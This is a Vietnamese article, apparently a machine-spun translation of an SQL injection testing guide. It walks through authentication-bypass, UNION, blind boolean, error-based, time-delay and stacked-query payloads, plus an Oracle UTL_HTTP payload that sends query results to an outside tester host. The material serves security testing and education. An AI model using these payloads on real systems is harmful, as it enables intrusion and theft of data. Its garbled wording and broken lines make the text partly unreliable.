Kiểm tra lỗ hổng bảo mật SQL Injection – w3seo SQL injection exploits

5/5 – ( 1 bầu chọn )
Kiểm tra SQL injection là kiểm tra xem hoàn toàn có thể đưa tài liệu vào ứng dụng để ứng dụng thực thi truy vấn SQL do người dùng trấn áp trong cơ sở tài liệu hay không. Người kiểm tra tìm thấy lỗ hổng SQL injection nếu ứng dụng sử dụng nguồn vào của người dùng để tạo truy vấn SQL mà không có xác nhận đầu vào thích hợp. Việc khai thác thành công xuất sắc lớp lỗ hổng này được cho phép người dùng trái phép truy vấn hoặc thao tác dữ liệu trong cơ sở tài liệu .
Các bài viết tương quan :
Một cuộc tiến công injection vào SQL gồm có việc chèn hoặc “ đưa vào ” một truy vấn SQL một phần hoặc hàng loạt trải qua nguồn vào tài liệu hoặc được truyền từ máy khách ( trình duyệt ) đến ứng dụng web. Một cuộc tiến công SQL injection thành công xuất sắc hoàn toàn có thể đọc tài liệu nhạy cảm từ cơ sở tài liệu, sửa đổi tài liệu cơ sở tài liệu ( chèn / update / xóa ), thực thi những hoạt động giải trí quản trị trên cơ sở tài liệu ( ví dụ điển hình như tắt DBMS ), Phục hồi nội dung của một tệp nhất định hiện có trên tệp DBMS mạng lưới hệ thống hoặc ghi tệp vào mạng lưới hệ thống tệp, và trong 1 số ít trường hợp, đưa ra lệnh cho hệ quản lý và điều hành. Tấn công SQL injection là một kiểu tiến công tiêm, trong đó những lệnh SQL được đưa vào nguồn vào mặt phẳng tài liệu để tác động ảnh hưởng đến việc thực thi những lệnh SQL được xác lập trước .
Nói chung, cách những ứng dụng web kiến thiết xây dựng những câu lệnh SQL tương quan đến cú pháp SQL do người lập trình viết được trộn lẫn với tài liệu do người dùng phân phối. Ví dụ :

select title, text from news where id=$id

Trong ví dụ trên, biến USD id chứa tài liệu do người dùng phân phối, trong khi phần còn lại là phần tĩnh SQL do người lập trình phân phối ; làm cho câu lệnh SQL động .
Bởi vì cách nó được kiến thiết xây dựng, người dùng hoàn toàn có thể cung ứng nguồn vào được tạo thủ công bằng tay để cố gắng nỗ lực làm cho câu lệnh SQL bắt đầu thực thi những hành vi khác mà người dùng lựa chọn. Ví dụ bên dưới minh họa dữ liệu do người dùng cung ứng “ 10 hoặc 1 = 1 ”, đổi khác logic của câu lệnh SQL, sửa đổi mệnh đề WHERE thêm điều kiện kèm theo “ hoặc 1 = 1 ” .

select title, text from news where id=10 or 1=1

Các cuộc tiến công SQL Injection hoàn toàn có thể được chia thành ba lớp sau :

Inband: dữ liệu được trích xuất bằng cùng một kênh được sử dụng để chèn mã SQL. Đây là kiểu tấn công đơn giản nhất, trong đó dữ liệu truy xuất được hiển thị trực tiếp trong trang web ứng dụng.

Out-of-band: dữ liệu được truy xuất bằng một kênh khác (ví dụ: email có kết quả của truy vấn được tạo và gửi đến người thử nghiệm).

Inferential hoặc Blind: không có truyền dữ liệu thực tế, nhưng người kiểm tra có thể xây dựng lại thông tin bằng cách gửi các yêu cầu cụ thể và quan sát hành vi kết quả của Máy chủ DB.

Một cuộc tấn công SQL Injection thành công yêu cầu kẻ tấn công tạo ra một Truy vấn SQL chính xác về mặt cú pháp. Nếu ứng dụng trả về một thông báo lỗi được tạo bởi một truy vấn không chính xác, thì kẻ tấn công có thể dễ dàng hơn trong việc xây dựng lại logic của truy vấn ban đầu và do đó, hiểu được cách thực hiện việc chèn một cách chính xác. Tuy nhiên, nếu ứng dụng ẩn chi tiết lỗi, thì người kiểm tra phải có khả năng thiết kế ngược logic của truy vấn ban đầu.

Xem thêm Kiểm tra lỗ hổng bảo mật thông tin SQL injection Client-side
Về những kỹ thuật khai thác lỗ hổng SQL injection, có năm kỹ thuật commons. Ngoài ra, những kỹ thuật này nhiều lúc hoàn toàn có thể được sử dụng theo cách phối hợp ( ví dụ : toán tử phối hợp và ngoài băng tần ) :

5 kỹ thuật SQL injection chung

1. Toán tử Union: có thể được sử dụng khi lỗi SQL injection xảy ra trong câu lệnh SELECT, giúp kết hợp hai truy vấn thành một kết quả hoặc tập kết quả duy nhất.

2. Boolean: sử dụng (các) điều kiện Boolean để xác minh xem một số điều kiện là đúng hay sai.

3. Error based: kỹ thuật này buộc cơ sở dữ liệu tạo ra lỗi, cung cấp cho kẻ tấn công hoặc người kiểm tra thông tin để tinh chỉnh việc đưa vào của chúng.

4. Out-of-band: kỹ thuật được sử dụng để truy xuất dữ liệu bằng một kênh khác (ví dụ: tạo kết nối HTTP để gửi kết quả đến máy chủ web).

5. Time delay: sử dụng các lệnh cơ sở dữ liệu (ví dụ: ngủ) để trì hoãn câu trả lời trong các truy vấn có điều kiện. Nó hữu ích khi kẻ tấn công không có một số loại câu trả lời (kết quả, đầu ra hoặc lỗi) từ ứng dụng.

Mục tiêu kiểm tra

Kiểm tra SQL Injection được cho phép người kiểm tra xác lập và khai thác những yếu tố tương quan đến nguồn vào truy vấn trong đó những giải pháp bảo mật thông tin không được tiến hành đúng cách .
Xem thêm Kiểm tra lỗ hổng bảo mật thông tin SQL injection trong SQL Server

Làm thế nào để kiểm tra

Kỹ thuật phát hiện

Bước tiên phong trong bài kiểm tra này là hiểu khi nào ứng dụng tương tác với Máy chủ DB để truy vấn một số ít tài liệu. Ví dụ nổi bật về những trường hợp khi ứng dụng cần tiếp xúc với DB gồm có :

Biểu mẫu xác thực: khi xác thực được thực hiện bằng biểu mẫu web, rất có thể thông tin đăng nhập của người dùng được kiểm tra dựa trên cơ sở dữ liệu có chứa tất cả tên người dùng và mật khẩu (hoặc tốt hơn là băm mật khẩu).

Công cụ tìm kiếm: chuỗi do người dùng gửi có thể được sử dụng trong truy vấn SQL trích xuất tất cả các bản ghi có liên quan từ cơ sở dữ liệu.

Các trang web Thương mại Điện tử: các sản phẩm và đặc điểm của chúng (giá cả, mô tả, tính khả dụng, v.v.) rất có thể được lưu trữ trong cơ sở dữ liệu.

Người kiểm tra phải tạo list toàn bộ những trường nguồn vào có giá trị hoàn toàn có thể được sử dụng để tạo truy vấn SQL, gồm có những trường ẩn của nhu yếu POST và sau đó kiểm tra chúng một cách riêng không liên quan gì đến nhau, cố gắng nỗ lực can thiệp vào truy vấn và để tạo ra một lỗi. Cũng xem xét những tiêu đề HTTP và Cookie .
Bài kiểm tra tiên phong thường gồm có thêm một câu trích dẫn đơn ‘ hoặc một dấu chấm phẩy ; đến trường hoặc tham số đang kiểm tra. Đầu tiên được sử dụng trong SQL như một dấu chấm dứt chuỗi và, nếu không được ứng dụng lọc, sẽ dẫn đến một truy vấn không đúng chuẩn. Câu thứ hai được sử dụng để kết thúc một câu lệnh SQL và nếu nó không được lọc, nó cũng có năng lực tạo ra lỗi. Đầu ra của trường dễ bị tiến công hoàn toàn có thể giống như sau ( trong trường hợp này là trên Microsoft SQL Server ) :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

Ngoài ra, những dấu ngăn cách nhận xét ( – hoặc / * * /, v.v. ) và những từ khóa SQL khác như ‘ AND ’ và ‘ OR ’ hoàn toàn có thể được sử dụng để cố gắng nỗ lực sửa đổi truy vấn. Một kỹ thuật rất đơn thuần nhưng nhiều lúc vẫn hiệu suất cao là chỉ cần chèn một chuỗi vào đó một số ít được mong đợi, vì hoàn toàn có thể xảy ra lỗi như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Theo dõi tổng thể những phản hồi từ sever web và xem mã nguồn HTML / javascript. Đôi khi lỗi Open bên trong chúng nhưng vì một số ít nguyên do ( ví dụ : lỗi javascript, nhận xét HTML, v.v. ) không được hiển thị cho người dùng. Một thông tin lỗi không thiếu, giống như trong những ví dụ, cung ứng nhiều thông tin cho người thử nghiệm để thực thi một cuộc tiến công tiêm thành công xuất sắc. Tuy nhiên, những ứng dụng thường không cung ứng quá nhiều chi tiết cụ thể : một ‘ Lỗi sever 500 ’ đơn thuần hoặc một trang lỗi tùy chỉnh hoàn toàn có thể được đưa ra, có nghĩa là tất cả chúng ta cần sử dụng kỹ thuật tiêm mù. Trong mọi trường hợp, điều rất quan trọng là phải kiểm tra từng trường riêng không liên quan gì đến nhau : chỉ một biến phải biến hóa trong khi toàn bộ những biến khác không đổi, để hiểu đúng mực tham số nào dễ bị tiến công và tham số nào không .
Xem thêm Kiểm tra lỗ hổng bảo mật thông tin SQL injection cho MS Access

Kiểm tra SQL injection tiêu chuẩn

SQL injection cổ điển

Hãy xem xét truy vấn SQL sau :

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Một truy vấn tựa như thường được sử dụng từ ứng dụng web để xác nhận người dùng. Nếu truy vấn trả về một giá trị, điều đó có nghĩa là bên trong cơ sở tài liệu có người dùng với tập hợp thông tin đăng nhập đó, thì người dùng được phép đăng nhập vào mạng lưới hệ thống, nếu không thì quyền truy vấn sẽ bị phủ nhận. Giá trị của những trường nguồn vào thường được lấy từ người dùng trải qua biểu mẫu web. Giả sử tất cả chúng ta chèn những giá trị Tên người dùng và Mật khẩu sau :

• $username = 1' or '1' = '1
• $password = 1' or '1' = '1

Truy vấn sẽ là :

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Nếu chúng tôi giả sử rằng giá trị của những tham số được gửi đến sever trải qua phương pháp GET và nếu miền của website dễ bị tiến công là www.example.com, thì nhu yếu mà chúng tôi thực thi sẽ là :

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20 ' 1

Sau một nghiên cứu và phân tích ngắn, chúng tôi nhận thấy rằng truy vấn trả về một giá trị ( hoặc một tập giá trị ) vì điều kiện kèm theo luôn đúng ( OR 1 = 1 ). Bằng cách này, mạng lưới hệ thống đã xác nhận người dùng mà không cần biết tên người dùng và mật khẩu .
Trong 1 số ít mạng lưới hệ thống, hàng tiên phong của bảng người dùng sẽ là người dùng quản trị viên. Đây hoàn toàn có thể là hồ sơ được trả lại trong 1 số ít trường hợp .
Một ví dụ khác về truy vấn như sau :

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

Trong trường hợp này, có hai yếu tố, một do sử dụng dấu ngoặc đơn và một do sử dụng hàm băm MD5. Trước hết, chúng tôi xử lý yếu tố của dấu ngoặc đơn. Điều đó chỉ đơn thuần là thêm một số ít dấu đóng ngoặc đơn cho đến khi chúng tôi có được một truy vấn đã sửa. Để xử lý yếu tố thứ hai, chúng tôi nỗ lực tránh điều kiện kèm theo thứ hai. Chúng tôi thêm vào truy vấn của mình một ký hiệu ở đầu cuối có nghĩa là một nhận xét đang khởi đầu. Theo cách này, mọi thứ theo sau hình tượng như vậy được coi là một nhận xét. Mỗi DBMS đều có cú pháp riêng cho những chú thích, tuy nhiên, một ký hiệu chung cho phần đông những cơ sở tài liệu là *. Trong Oracle, ký hiệu là -. Điều này cho thấy, những giá trị mà chúng tôi sẽ sử dụng làm Tên người dùng và Mật khẩu là :

• $username = 1' or '1' = '1'))/*
• $password = foo

Bằng cách này, chúng tôi sẽ nhận được truy vấn sau :

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

( Do gồm có dấu phân làn nhận xét trong giá trị tên người dùng USD, phần mật khẩu của truy vấn sẽ bị bỏ lỡ. )
Yêu cầu URL sẽ là :

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

Điều này hoàn toàn có thể trả về 1 số ít giá trị. Đôi khi, mã xác nhận xác định rằng số lượng bản ghi / tác dụng trả về đúng mực bằng 1. Trong những ví dụ trước, trường hợp này sẽ khó xảy ra ( trong cơ sở tài liệu chỉ có một giá trị cho mỗi người dùng ). Để xử lý yếu tố này, chỉ cần chèn một lệnh SQL

áp đặt một điều kiện rằng số lượng kết quả trả về phải là một. (Một bản ghi được trả về) Để đạt được mục tiêu này, chúng tôi sử dụng toán tử LIMIT , trong đó là số lượng kết quả / bản ghi mà chúng ta muốn được trả về. Đối với ví dụ trước, giá trị của các trường Tên người dùng và Mật khẩu sẽ được sửa đổi như sau:

• $username = 1' or '1' = '1')) LIMIT 1/*
• $password = foo

Bằng cách này, chúng tôi tạo một nhu yếu như sau :

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo

SELECT Statement

Hãy xem xét truy vấn SQL sau :

SELECT * FROM products WHERE id_product=$id_product

Cũng xem xét nhu yếu so với một tập lệnh thực thi truy vấn ở trên :

http://www.example.com/product.php?id=10

Khi người thử nghiệm thử một giá trị hợp lệ ( ví dụ : 10 trong trường hợp này ), ứng dụng sẽ trả về diễn đạt của mẫu sản phẩm. Một cách tốt để kiểm tra xem ứng dụng có dễ bị tiến công trong trường hợp này hay không là chơi với logic, sử dụng những toán tử AND và OR .
Xem xét nhu yếu :

http://www.example.com/product.php?id=10 AND 1=2
SELECT * FROM products WHERE id_product=10 AND 1=2

Trong trường hợp này, hoàn toàn có thể ứng dụng sẽ trả về một số ít thông tin cho chúng tôi biết không có nội dung nào có sẵn hoặc một trang trống. Sau đó, người thử nghiệm hoàn toàn có thể gửi một câu lệnh true và kiểm tra xem có hiệu quả hợp lệ hay không :

http://www.example.com/product.php?id=10 AND 1=1

Stacked Queries

Tùy thuộc vào API mà ứng dụng web đang sử dụng và DBMS ( ví dụ : PHP + PostgreSQL, ASP + SQL SERVER ), hoàn toàn có thể thực thi nhiều truy vấn trong một lệnh gọi .
Hãy xem xét truy vấn SQL sau :

SELECT * FROM products WHERE id_product=$id_product

Một cách để khai thác ngữ cảnh trên sẽ là :

http://www.example.com/product.php?id=10; INSERT INTO users (…)

Cách này hoàn toàn có thể triển khai nhiều truy vấn liên tục và không phụ thuộc vào vào truy vấn tiên phong .

Fingerprinting cơ sở dữ liệu

Mặc dù ngôn từ SQL là một tiêu chuẩn, mọi DBMS đều có tính đặc trưng và khác nhau ở nhiều góc nhìn như những lệnh đặc biệt quan trọng, những hàm để truy xuất tài liệu như tên người dùng và cơ sở tài liệu, tính năng, dòng chú thích, v.v.
Khi người kiểm tra chuyển sang khai thác SQL injection nâng cao hơn, họ cần biết cơ sở tài liệu back end là gì .

Errors Returned từ ứng dụng

Cách tiên phong để tìm ra cơ sở tài liệu back end nào được sử dụng là quan sát lỗi do ứng dụng trả về. Sau đây là 1 số ít ví dụ về thông tin lỗi :
MySql :

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

Một UNION SELECT hoàn hảo với phiên bản ( ) cũng hoàn toàn có thể giúp biết cơ sở tài liệu phía sau .

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1

• Oracle:

ORA-00933: SQL command not properly ended

• MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

ELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1

PostgreSQL :

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

Nếu không có thông tin lỗi hoặc thông tin lỗi tùy chỉnh, người kiểm tra hoàn toàn có thể thử đưa vào những trường chuỗi bằng cách sử dụng những kỹ thuật nối khác nhau :

Kỹ thuật Exploitation

Exploitation sử dụng UNION

Toán tử UNION được sử dụng trong SQL injection để tham gia một truy vấn, được người thử nghiệm cố ý trá hình, với truy vấn bắt đầu. Kết quả của truy vấn trá hình sẽ được nối với tác dụng của truy vấn bắt đầu, được cho phép người kiểm tra lấy giá trị của những cột của những bảng khác. Giả sử so với những ví dụ của chúng tôi rằng truy vấn được thực thi từ sever như sau :

SELECT Name, Phone, Address FROM Users WHERE Id=$id

Chúng tôi sẽ đặt giá trị USD id sau :

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Chúng tôi sẽ có truy vấn sau :

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Điều này sẽ tích hợp hiệu quả của truy vấn bắt đầu với tổng thể những số thẻ tín dụng thanh toán trong bảng CreditCardTable. Từ khóa ALL là thiết yếu để xử lý những truy vấn sử dụng từ khóa DISTINCT. Hơn nữa, chúng tôi nhận thấy rằng ngoài số thẻ tín dụng thanh toán, chúng tôi đã chọn hai giá trị khác. Hai giá trị này là thiết yếu vì hai truy vấn phải có số lượng tham số / cột bằng nhau để tránh lỗi cú pháp .

Chi tiết đầu tiên mà người kiểm tra cần để khai thác lỗ hổng SQL injection bằng cách sử dụng kỹ thuật này là tìm đúng số cột trong câu lệnh SELECT.

Để đạt được điều này, người kiểm tra hoàn toàn có thể sử dụng mệnh đề ORDER BY theo sau là 1 số ít cho biết số cột của cơ sở tài liệu được chọn :

http://www.example.com/product.php?id=10 ORDER BY 10--

Nếu truy vấn thực thi thành công xuất sắc mà người kiểm tra hoàn toàn có thể giả định, trong ví dụ này, có 10 cột trở lên trong câu lệnh SELECT. Nếu truy vấn không thành công xuất sắc thì truy vấn phải có ít hơn 10 cột trả về. Nếu có một thông tin lỗi, nó hoàn toàn có thể là :

Unknown column '10' in 'order clause'

Sau khi người kiểm tra tìm ra số lượng cột, bước tiếp theo là tìm ra loại cột. Giả sử có 3 cột trong ví dụ trên, người kiểm tra hoàn toàn có thể thử từng loại cột, sử dụng giá trị NULL để giúp họ :

http://www.example.com/product.php?id=10 UNION SELECT 1, null, null--

Nếu truy vấn không thành công xuất sắc, người kiểm tra hoàn toàn có thể sẽ thấy một thông tin như :

All cells in a column must have the same datatype

Nếu truy vấn thực thi thành công xuất sắc, cột tiên phong hoàn toàn có thể là một số nguyên. Sau đó, người thử nghiệm hoàn toàn có thể tiến xa hơn, v.v.

http://www.example.com/product.php?id=10 UNION SELECT 1,1, null--

Sau khi tích lũy thông tin thành công xuất sắc, tùy thuộc vào ứng dụng, nó hoàn toàn có thể chỉ hiển thị cho người thử nghiệm hiệu quả tiên phong, vì ứng dụng chỉ giải quyết và xử lý dòng tiên phong của tập kết quả. Trong trường hợp này, hoàn toàn có thể sử dụng mệnh đề LIMIT hoặc người kiểm tra hoàn toàn có thể đặt giá trị không hợp lệ, chỉ làm cho truy vấn thứ hai hợp lệ ( giả sử không có mục nhập nào trong cơ sở tài liệu có ID là 99999 ) :

http://www.example.com/product.php?id=99999 UNION SELECT 1,1, null--

Kỹ thuật khai thác Boolean

Kỹ thuật khai thác Boolean rất có ích khi người kiểm tra tìm thấy trường hợp Blind SQL Injection, trong đó không có gì được biết về tác dụng của một toán tử. Ví dụ : hành vi này xảy ra trong trường hợp lập trình viên đã tạo trang lỗi tùy chỉnh không bật mý bất kể điều gì trên cấu trúc của truy vấn hoặc trên cơ sở tài liệu. ( Trang không trả về lỗi SQL, nó hoàn toàn có thể chỉ trả về HTTP 500, 404 hoặc chuyển hướng ) .
Bằng cách sử dụng những giải pháp suy luận, hoàn toàn có thể tránh được trở ngại này và do đó thành công xuất sắc trong việc Phục hồi những giá trị của 1 số ít trường mong ước. Phương pháp này gồm có triển khai một loạt những truy vấn boolean so với sever, quan sát những câu vấn đáp và sau cuối suy ra ý nghĩa của những câu vấn đáp đó. Như mọi khi, chúng tôi coi miền www.example.com và chúng tôi cho rằng nó chứa một tham số có tên id dễ bị tiến công bởi SQL injection. Điều này có nghĩa là thực thi nhu yếu sau :

http://www.example.com/index.php?id=1 '

Chúng tôi sẽ nhận được một trang có lỗi thông tin tùy chỉnh do lỗi cú pháp trong truy vấn. Chúng tôi giả sử rằng truy vấn được thực thi trên sever là :

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Có thể khai thác trải qua những giải pháp đã thấy trước đây. Những gì chúng tôi muốn lấy là những giá trị của trường tên người dùng. Các bài kiểm tra mà chúng tôi sẽ thực thi sẽ được cho phép chúng tôi lấy giá trị của trường tên người dùng, trích xuất ký tự giá trị đó theo từng ký tự. Điều này hoàn toàn có thể thực thi được trải qua việc sử dụng một số ít hàm tiêu chuẩn, hiện hữu trong thực tiễn mọi cơ sở tài liệu. Đối với những ví dụ của chúng tôi, chúng tôi sẽ sử dụng những hàm giả sau :

• SUBSTRING (văn bản, bắt đầu, độ dài): trả về một chuỗi con bắt đầu từ vị trí “bắt đầu” của văn bản và có độ dài là “độ dài”. Nếu “start” lớn hơn độ dài của văn bản, hàm trả về giá trị null.
• ASCII (char): nó trả về giá trị ASCII của ký tự đầu vào. Giá trị null được trả về nếu char là 0.
• LENGTH (văn bản): nó trả về số ký tự trong văn bản đầu vào.

Thông qua những hàm như vậy, chúng tôi sẽ thực thi những bài kiểm tra của mình trên ký tự tiên phong và khi chúng tôi đã phát hiện ra giá trị, chúng tôi sẽ chuyển sang ký tự thứ hai, v.v., cho đến khi chúng tôi phát hiện ra hàng loạt giá trị. Các bài kiểm tra sẽ tận dụng công dụng SUBSTRING, để chỉ chọn một ký tự tại một thời gian ( chọn một ký tự duy nhất có nghĩa là áp đặt tham số độ dài thành 1 ) và hàm ASCII, để lấy giá trị ASCII, để tất cả chúng ta hoàn toàn có thể so sánh số. Kết quả của phép so sánh sẽ được triển khai với tổng thể những giá trị của bảng ASCII, cho đến khi tìm được giá trị tương thích. Ví dụ, chúng tôi sẽ sử dụng giá trị sau cho Id :

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

Điều đó tạo ra truy vấn sau ( từ giờ đây, chúng tôi sẽ gọi nó là “ truy vấn suy luận ” ) :

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

Ví dụ trước trả về tác dụng nếu và chỉ khi ký tự tiên phong của tên người dùng trường bằng giá trị ASCII 97. Nếu chúng tôi nhận được giá trị sai, thì chúng tôi tăng chỉ số của bảng ASCII từ 97 lên 98 và chúng tôi lặp lại nhu yếu. Nếu thay vào đó, chúng tôi nhận được giá trị true, chúng tôi đặt chỉ mục của bảng ASCII bằng 0 và chúng tôi nghiên cứu và phân tích ký tự tiếp theo, sửa đổi những tham số của hàm SUBSTRING. Vấn đề là phải hiểu theo cách nào tất cả chúng ta hoàn toàn có thể phân biệt những bài kiểm tra trả về giá trị true và những bài kiểm tra trả về giá trị false. Để làm điều này, chúng tôi tạo một truy vấn luôn trả về false. Điều này hoàn toàn có thể triển khai được bằng cách sử dụng giá trị sau cho Id :

$Id=1' AND '1' = '2

Điều này sẽ tạo ra truy vấn sau :

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

Phản hồi thu được từ sever ( đó là mã HTML ) sẽ là giá trị sai cho những thử nghiệm của chúng tôi. Điều này là đủ để xác định xem giá trị
e thu được từ việc triển khai truy vấn suy diễn bằng giá trị thu được với thử nghiệm được triển khai trước đó. Đôi khi, chiêu thức này không hoạt động giải trí. Nếu sever trả về hai trang khác nhau là tác dụng của hai nhu yếu web liên tục giống nhau, chúng tôi sẽ không hề phân biệt giá trị true với giá trị false. Trong những trường hợp đơn cử này, cần phải sử dụng những bộ lọc đơn cử được cho phép chúng tôi vô hiệu mã đổi khác giữa hai nhu yếu và để lấy mẫu. Sau đó, so với mỗi nhu yếu suy luận được thực thi, chúng tôi sẽ trích xuất mẫu tương đối từ phản hồi bằng cách sử dụng cùng một công dụng và chúng tôi sẽ thực thi trấn áp giữa hai mẫu để quyết định hành động tác dụng của thử nghiệm .
Trong cuộc tranh luận trước, tất cả chúng ta chưa xử lý yếu tố xác lập điều kiện kèm theo kết thúc cho những thử nghiệm ngoài, tức là khi nào tất cả chúng ta nên kết thúc quá trình suy luận. Một kỹ thuật để làm điều này sử dụng một đặc tính của hàm SUBSTRING và hàm LENGTH. Khi kiểm tra so sánh ký tự hiện tại với mã ASCII 0 ( tức là giá trị null ) và kiểm tra trả về giá trị true, thì hoặc tất cả chúng ta đã triển khai xong thủ tục suy luận ( tất cả chúng ta đã quét hàng loạt chuỗi ) hoặc giá trị tất cả chúng ta có được nghiên cứu và phân tích chứa ký tự null .
Chúng tôi sẽ chèn giá trị sau cho Id trường :

$Id=1' AND LENGTH(username)=N AND '1' = '1

Trong đó N là số ký tự mà chúng tôi đã nghiên cứu và phân tích cho đến nay ( không tính giá trị null ). Truy vấn sẽ là :

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

Truy vấn trả về true hoặc false. Nếu tất cả chúng ta nhận được true, thì tất cả chúng ta đã triển khai xong suy luận và do đó, tất cả chúng ta biết giá trị của tham số. Nếu tất cả chúng ta nhận được false, điều này có nghĩa là ký tự null có trong giá trị của tham số và tất cả chúng ta phải liên tục nghiên cứu và phân tích tham số tiếp theo cho đến khi tất cả chúng ta tìm thấy một giá trị null khác .
Cuộc tiến công SQL injection mù cần một khối lượng truy vấn lớn. Người kiểm tra hoàn toàn có thể cần một công cụ tự động hóa để khai thác lỗ hổng .

Kỹ thuật khai thác dựa trên lỗi

Kỹ thuật khai thác dựa trên lỗi rất hữu dụng khi người kiểm tra vì nguyên do nào đó không hề khai thác lỗ hổng SQL injection bằng kỹ thuật khác, ví dụ điển hình như UNION. Kỹ thuật dựa trên lỗi gồm có việc buộc cơ sở tài liệu thực thi một số ít hoạt động giải trí trong đó hiệu quả sẽ là lỗi. Vấn đề ở đây là nỗ lực trích xuất một số ít tài liệu từ cơ sở tài liệu và hiển thị nó trong thông tin lỗi. Kỹ thuật khai thác này hoàn toàn có thể khác với DBMS đến DBMS ( kiểm tra phần đơn cử của DBMS ) .
Hãy xem xét truy vấn SQL sau :

SELECT * FROM products WHERE id_product=$id_product

Cũng xem xét nhu yếu so với một tập lệnh thực thi truy vấn ở trên :

http://www.example.com/product.php?id=10

Yêu cầu ô nhiễm sẽ là ( ví dụ : Oracle 10 g ) :

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

Trong ví dụ này, người thử nghiệm đang nối giá trị 10 với hiệu quả của hàm UTL_INADDR. GET_HOST_NAME. Hàm Oracle này sẽ cố gắng nỗ lực trả về tên sever của tham số được truyền cho nó, là một truy vấn khác, tên của người dùng. Khi cơ sở tài liệu tìm kiếm tên sever với tên cơ sở tài liệu người dùng, nó sẽ không thành công xuất sắc và trả về thông tin lỗi như :

ORA-292257: host SCOTT unknown

Sau đó, người kiểm tra có thể thao tác với tham số được truyền cho hàm GET_HOST_NAME ( ) và hiệu quả sẽ được hiển thị trong thông tin lỗi .

Kỹ thuật khai thác Out-of-band

Kỹ thuật này rất có ích khi người kiểm tra tìm thấy trường hợp Blind SQL Injection, trong đó không có gì được biết về tác dụng của một hoạt động giải trí. Kỹ thuật này gồm có việc sử dụng những tính năng DBMS để thực thi liên kết ngoài băng tần và cung ứng tác dụng của truy vấn được đưa vào như một phần của nhu yếu tới sever của người thử nghiệm. Giống như những kỹ thuật dựa trên lỗi, mỗi DBMS có những công dụng riêng của nó. Kiểm tra phần DBMS đơn cử .
Hãy xem xét truy vấn SQL sau :

SELECT * FROM products WHERE id_product=$id_product

Cũng xem xét nhu yếu so với một tập lệnh thực thi truy vấn ở trên :

http://www.example.com/product.php?id=10

Yêu cầu ô nhiễm sẽ là :

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL) -

Trong ví dụ này, người kiểm tra đang nối giá trị 10 với tác dụng của hàm UTL_HTTP. request. Hàm Oracle này sẽ nỗ lực liên kết với testerserver và triển khai một nhu yếu HTTP GET chứa trả về từ truy vấn CHỌN người dùng TỪ KÉP. Người kiểm tra hoàn toàn có thể thiết lập sever web ( ví dụ : Apache ) hoặc sử dụng công cụ Netcat :

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

Kỹ thuật khai thác time delay

Kỹ thuật khai thác độ trễ thời hạn rất có ích khi người kiểm tra tìm thấy trường hợp Blind SQL Injection, trong đó không có gì được biết về hiệu quả của một hoạt động giải trí. Kỹ thuật này gồm có việc gửi một truy vấn được đưa vào và trong trường hợp điều kiện kèm theo là đúng, người kiểm tra hoàn toàn có thể theo dõi thời hạn thiết yếu để sever phản hồi. Nếu t
ở đây là độ trễ, người kiểm tra hoàn toàn có thể cho rằng tác dụng của truy vấn có điều kiện kèm theo là đúng. Kỹ thuật khai thác này hoàn toàn có thể khác với DBMS đến DBMS ( kiểm tra phần đơn cử của DBMS ) .
Hãy xem xét truy vấn SQL sau :

SELECT * FROM products WHERE id_product=$id_product

Cũng xem xét nhu yếu so với một tập lệnh thực thi truy vấn ở trên :

http://www.example.com/product.php?id=10

Yêu cầu ô nhiễm sẽ là ( ví dụ : MySql 5. x ) :

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

Trong ví dụ này, người thử nghiệm đang kiểm tra xem phiên bản MySql có phải là 5. x hay không, khiến máy chủ trì hoãn câu vấn đáp 10 giây. Người thử nghiệm hoàn toàn có thể tăng thời hạn trễ và theo dõi những phản hồi. Người thử nghiệm cũng không cần đợi phản hồi. Đôi khi anh ta hoàn toàn có thể đặt giá trị rất cao ( ví dụ : 100 ) và hủy nhu yếu sau vài giây .

Tiêm Stored Procedure

Khi sử dụng SQL động trong một quá trình được tàng trữ, ứng dụng phải làm sạch đúng cách nguồn vào của người dùng để vô hiệu rủi ro tiềm ẩn chèn mã. Nếu không được làm sạch, người dùng hoàn toàn có thể nhập SQL ô nhiễm sẽ được thực thi trong tiến trình được tàng trữ .
Hãy xem xét thủ tục tàng trữ SQL Server sau :

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  = '
Select 1 from users
Where username = ' + @username + ' and passwd = ' + @passwd
exec(@sqlstring)
Go

Đầu vào của người dùng :

anyusername or 1=1'
anypassword

